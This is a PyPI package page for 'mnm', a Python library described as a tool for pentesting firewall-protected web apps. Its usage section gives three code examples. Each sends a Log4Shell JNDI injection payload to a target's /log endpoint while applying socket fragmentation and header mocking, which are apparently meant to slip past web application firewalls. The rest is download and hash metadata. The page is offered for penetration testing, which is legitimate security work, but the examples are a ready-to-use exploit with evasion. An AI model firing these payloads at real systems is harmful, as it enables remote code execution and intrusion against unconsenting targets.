Skip to main content

A simple python library for pentesting firewall protected webapp

Project description

mnm

This is a simple python library for pentesting firewall protected webapp.

Installation

pip install mnm

Usage

from mnm import *
import requests

@mixed(SocketFragmentation(slice=5), HeaderMocking())
def mixed_options(ip):
    r = requests.get(f'http://{ip}/log', data={
        "log": "${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"
    })
    print(r.text)

@mixed()
def mixed_simple(ip):
    r = requests.get(f'http://{ip}/log', data={
        "log": "${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"
    })
    print(r.text)

def with_pattern(ip):
    with SocketFragmentation(slice=5), HeaderMocking():
        r = requests.get(f'http://{ip}/log', data={
            "log": "${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"
        })
        print(r.text)

License

MIT License

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

mnm-0.3.0.tar.gz (5.2 kB view details)

Uploaded Source

Built Distribution

mnm-0.3.0-py3-none-any.whl (7.6 kB view details)

Uploaded Python 3

File details

Details for the file mnm-0.3.0.tar.gz.

File metadata

  • Download URL: mnm-0.3.0.tar.gz
  • Upload date:
  • Size: 5.2 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/4.0.2 CPython/3.11.0

File hashes

Hashes for mnm-0.3.0.tar.gz
Algorithm Hash digest
SHA256 10c8c8b50eb15922a58a92981a67cff2a276dd5d928d6cf6c79d05367709a788
MD5 ebb92c63d5e9199003a662f41eb6f503
BLAKE2b-256 033963b191b9b26efdf0921d85bbe728342b85fa7373d3d37e3e7381f316536f

See more details on using hashes here.

File details

Details for the file mnm-0.3.0-py3-none-any.whl.

File metadata

  • Download URL: mnm-0.3.0-py3-none-any.whl
  • Upload date:
  • Size: 7.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/4.0.2 CPython/3.11.0

File hashes

Hashes for mnm-0.3.0-py3-none-any.whl
Algorithm Hash digest
SHA256 6474bd6a229f0e2bcb8ed09f6a0892f631ef775f26ac701ef1071328de03f715
MD5 6e24256c19031e2885f3f49403f3e220
BLAKE2b-256 b6681750f4a871d919a1b03da20f59cca9ea2ac0b26a4f4d2a7801f3265778f9

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page